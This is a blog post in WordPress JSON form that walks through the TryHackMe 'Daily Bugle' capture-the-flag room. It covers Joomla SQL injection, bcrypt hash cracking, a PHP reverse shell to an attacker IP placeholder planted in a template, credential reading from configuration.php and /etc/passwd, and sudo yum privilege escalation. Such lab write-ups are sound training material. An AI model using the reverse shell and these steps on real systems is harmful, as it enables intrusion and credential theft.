{"id":483,"date":"2020-08-03T06:50:06","date_gmt":"2020-08-02T22:50:06","guid":{"rendered":"https:\/\/byy3.com\/?p=483"},"modified":"2020-08-03T06:50:06","modified_gmt":"2020-08-02T22:50:06","slug":"tryhackmedaily-bugle_ctf","status":"publish","type":"post","link":"https:\/\/byy3.com\/?p=483","title":{"rendered":"Tryhackme:Daily bugle_CTF"},"content":{"rendered":"
\n
\n
\n
\n
\n

[Enumeration]<\/strong><\/p>\n

    \n
  1. Port scan<\/li>\n<\/ol>\n
    nmap -Pn <ip><\/span><\/pre>\n
    There\u2019re 3 ports: 22,80, and 3306.<\/p>\n
    \n
    \n
    \n
    \n
    \"Tryhackme:Daily<\/div>\n
    \"Tryhackme:Daily<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    2. OS and service scan<\/p>\n
    nmap -A -p 22,80,3306 <ip><\/span><\/pre>\n
    This machine is CentOS.<\/p>\n
    \n
    \n
    \n
    \n
    \n
    \"Tryhackme:Daily<\/div>\n
    \"Tryhackme:Daily<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    3. Vuln scan<\/p>\n
    nmap --script vuln -p 22,80,3306 <ip><\/span><\/pre>\n
    \n
    \n
    \n
    \n
    \n
    \"Tryhackme:Daily<\/div>\n
    \"Tryhackme:Daily<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    This machine has Joomla 3.7.0 ,which has SQLi vulnerability.<\/p>\n
    \n
    \n
    \n
    \n
    \n
    \"Tryhackme:Daily<\/div>\n
    \"Tryhackme:Daily<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    4. Access HTTP site.<\/p>\n
    There\u2019s news of Spiderman robbing the bank.<\/p>\n
    \n
    \n
    \n
    \n
    \n
    \"Tryhackme:Daily<\/div>\n
    \"Tryhackme:Daily<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    View page source, nothing.<\/p>\n
    \n
    \n
    \n
    \n
    \n
    \"Tryhackme:Daily<\/div>\n
    \"Tryhackme:Daily<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    From #3, let\u2019s access \/administrator<\/p>\n
    \n
    \n
    \n
    \n
    \n
    \"Tryhackme:Daily<\/div>\n
    \"Tryhackme:Daily<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    5. Search for default credential.<\/p>\n
    I only have \u201cadmin\u201d without any password.<\/p>\n
    \n
    \n
    \n
    \n
    \n
    \"Tryhackme:Daily<\/div>\n
    \"Tryhackme:Daily<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    6. Search for exploits<\/p>\n
    searchsploit joomla 3.7.0<\/span><\/pre>\n
    There\u2019re SQLi and XSS.<\/p>\n
    \n
    \n
    \n
    \n
    \n
    \"Tryhackme:Daily<\/div>\n
    \"Tryhackme:Daily<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
    Read XSS. It\u2019s CVE-2017\u20138917 and sqlmap usage, but U will search for python script instead.<\/p>\n
    \n
    \n
    \n
    \n
    \n
    \"Tryhackme:Daily<\/div>\n
    \"Tryhackme:Daily<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n<\/div>\n<\/div>\n<\/section>\n
    \n
    \n
    \n
    \n
    [Exploitation]<\/strong><\/p>\n
      \n
    1. After searching with google, I came across to this.<\/li>\n<\/ol>\n
      \n
      \n
      \n
      stefanlucas\/Exploit-Joomla<\/h2>\n
      \n
      CVE-2017-8917 - SQL injection Vulnerability Exploit in Joomla 3.7.0 - stefanlucas\/Exploit-Joomla<\/h3>\n<\/div>\n
      \n
      github.com<\/h4>\n<\/div>\n<\/div>\n
      \n
      <\/div>\n<\/div>\n<\/div>\n<\/div>\n
      python joomblah.py http:\/\/<ip><\/span><\/pre>\n
      Now I have a username, jonah, and password hash.<\/p>\n
      \n
      \n
      \n
      \n
      \n
      \"Tryhackme:Daily<\/div>\n
      \"Tryhackme:Daily<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
      2. Cracking password<\/p>\n
      Using example hash guide<\/p>\n
      \n
      \n
      \n
      example_hashes [hashcat wiki]<\/h2>\n
      \n
      If you get a \"line length exception\" error in hashcat, it is often because the hash mode that you have requested does\u2026<\/h3>\n<\/div>\n
      \n
      hashcat.net<\/h4>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n
      The hash may be bcrypt.<\/p>\n
      \n
      \n
      \n
      \n
      \n
      \"Tryhackme:Daily<\/div>\n
      \"Tryhackme:Daily<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
      I will use hashcat on windows for better formance.<\/p>\n
      Save hash in text file as daily-bugle.txt.<\/p>\n
      \n
      \n
      \n
      \n
      \n
      \"Tryhackme:Daily<\/div>\n
      \"Tryhackme:Daily<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
      Use hashcat<\/p>\n
      hashcat.exe -m 3200 daily-bugle.txt rockyou.txt<\/span><\/pre>\n
      Now I have a password for joomla.<\/p>\n
      \n
      \n
      \n
      \n
      \"Tryhackme:Daily<\/div>\n
      \"Tryhackme:Daily<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
      3. Login to Joomla<\/p>\n
      \n
      \n
      \n
      \n
      \"Tryhackme:Daily<\/div>\n
      \"Tryhackme:Daily<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
      Now I have a dashboard.<\/p>\n
      \n
      \n
      \n
      \n
      \n
      \"Tryhackme:Daily<\/div>\n
      \"Tryhackme:Daily<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
      4. Reverse shell<\/p>\n
      I will use this guide to get reverse shell.<\/p>\n
      \n
      \n
      \n
      Joomla: Reverse Shell<\/h2>\n
      \n
      Joomla is one of the popular Content Management System (CMS) which helps you to build your website. Joomla has gained\u2026<\/h3>\n<\/div>\n
      \n
      laptrinhx.com<\/h4>\n<\/div>\n<\/div>\n
      \n
      <\/div>\n<\/div>\n<\/div>\n<\/div>\n
      Click \u201cTemplates\u201d.<\/p>\n
      \n
      \n
      \n
      \n
      \"Tryhackme:Daily<\/div>\n
      \"Tryhackme:Daily<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
      Select first template<\/p>\n
      \n
      \n
      \n
      \n
      \n
      \"Tryhackme:Daily<\/div>\n
      \"Tryhackme:Daily<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
      Select index.php<\/p>\n
      \n
      \n
      \n
      \n
      \n
      \"Tryhackme:Daily<\/div>\n
      \"Tryhackme:Daily<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
      Prepare listener on port 1234<\/p>\n
      nc -lvp 1234<\/span><\/pre>\n
      \n
      \n
      \n
      \n
      \"Tryhackme:Daily<\/div>\n
      \"Tryhackme:Daily<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
      Prepare reverse shell<\/p>\n
      exec(\"\/bin\/bash -c 'bash -i >& \/dev\/tcp\/<attacker ip>\/1234 0>&1'\");<\/span><\/pre>\n
      Inject with reverse shell<\/p>\n
      \n
      \n
      \n
      \n
      \"Tryhackme:Daily<\/div>\n
      \"Tryhackme:Daily<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
      Click Template review<\/p>\n
      \n
      \n
      \n
      \n
      \"Tryhackme:Daily<\/div>\n
      \"Tryhackme:Daily<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
      Now I have a shell.<\/p>\n
      \n
      \n
      \n
      \n
      \"Tryhackme:Daily<\/div>\n
      \"Tryhackme:Daily<\/div>\n<\/div>\n<\/div>\n<\/figure>\n<\/div>\n<\/div>\n<\/section>\n
      \n
      \n
      \n
      \n
      [Privilege Escalation]<\/strong><\/p>\n
        \n
      1. Verify user<\/li>\n<\/ol>\n
        id<\/span><\/pre>\n
        I\u2019m apache.<\/p>\n
        \n
        \n
        \n
        \n
        \"Tryhackme:Daily<\/div>\n
        \"Tryhackme:Daily<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
        2. Normally most CMS have credential in config file. Let\u2019s get it in case I need somewhere else.<\/p>\n
        ls <\/span>cat configuration.php<\/span><\/pre>\n
        I have a new credential. I can use it somewhere.<\/p>\n
        \n
        \n
        \n
        \n
        \n
        \"Tryhackme:Daily<\/div>\n
        \"Tryhackme:Daily<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
        3. Verify users<\/p>\n
        cat \/etc\/passwd<\/span><\/pre>\n
        This machine has 2 users: root and jjameson.<\/p>\n
        \n
        \n
        \n
        \n
        \n
        \"Tryhackme:Daily<\/div>\n
        \"Tryhackme:Daily<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
        4. Login as jjameson<\/p>\n
        Try to login with joomla credential<\/p>\n
        su jjameson<\/span><\/pre>\n
        Failed!!!<\/p>\n
        \n
        \n
        \n
        \n
        \"Tryhackme:Daily<\/div>\n
        \"Tryhackme:Daily<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
        Try to login with credential from config file<\/p>\n
        su jjameson<\/span>id<\/span><\/pre>\n
        Success!!!<\/p>\n
        \n
        \n
        \n
        \n
        \"Tryhackme:Daily<\/div>\n
        \"Tryhackme:Daily<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
        5. Verify sudo<\/p>\n
        There\u2019s yum command.<\/p>\n
        \n
        \n
        \n
        \n
        \n
        \"Tryhackme:Daily<\/div>\n
        \"Tryhackme:Daily<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
        Following GTFOBins. There\u2019re 2 ways of exploiting<\/p>\n
        \n
        \n
        \n
        yum | GTFOBins<\/h2>\n
        \n
        It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated\u2026<\/h3>\n<\/div>\n
        \n
        gtfobins.github.io<\/h4>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n
        Let\u2019s try first set of commands<\/p>\n
        \n
        \n
        \n
        \n
        \n
        \"Tryhackme:Daily<\/div>\n
        \"Tryhackme:Daily<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
        Failed!!!<\/p>\n
        \n
        \n
        \n
        \n
        \"Tryhackme:Daily<\/div>\n
        \"Tryhackme:Daily<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
        Let\u2019s try these instead<\/p>\n
        \n
        \n
        \n
        \n
        \n
        \"Tryhackme:Daily<\/div>\n
        \"Tryhackme:Daily<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
        \n
        \n
        \n
        \n
        \"Tryhackme:Daily<\/div>\n
        \"Tryhackme:Daily<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
        6. Read user.txt<\/p>\n
        Now I\u2019m root. Let\u2019s get the answer for this box<\/p>\n
        cd \/home\/jjameson<\/span>ls<\/span>cat user.txt<\/span><\/pre>\n
        \n
        \n
        \n
        \n
        \n
        \"Tryhackme:Daily<\/div>\n
        \"Tryhackme:Daily<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
        cd \/root<\/span>ls<\/span>cat root.txt<\/span><\/pre>\n
        \n
        \n
        \n
        \n
        \"Tryhackme:Daily<\/div>\n
        \"Tryhackme:Daily<\/div>\n<\/div>\n<\/div>\n<\/figure>\n<\/div>\n<\/div>\n<\/section>\n<\/div>\n<\/article>\n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        <\/div>\n<\/div>\n<\/div>\n<\/div>\n
        \n
        \n
        <\/div>\n<\/div>\n<\/div>\n
        <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n
        <\/div>\n
        \n
        \n
        \n
        \n
        <\/div>\n
        <\/div>\n
        \n
        \n
        <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n","protected":false},"excerpt":{"rendered":"
        [Enumeration] Port scan nmap -Pn <ip> There\u2019re 3 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-483","post","type-post","status-publish","format-standard","hentry","category-net-security"],"_links":{"self":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/483","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=483"}],"version-history":[{"count":0,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/483\/revisions"}],"wp:attachment":[{"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=483"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=483"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=483"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}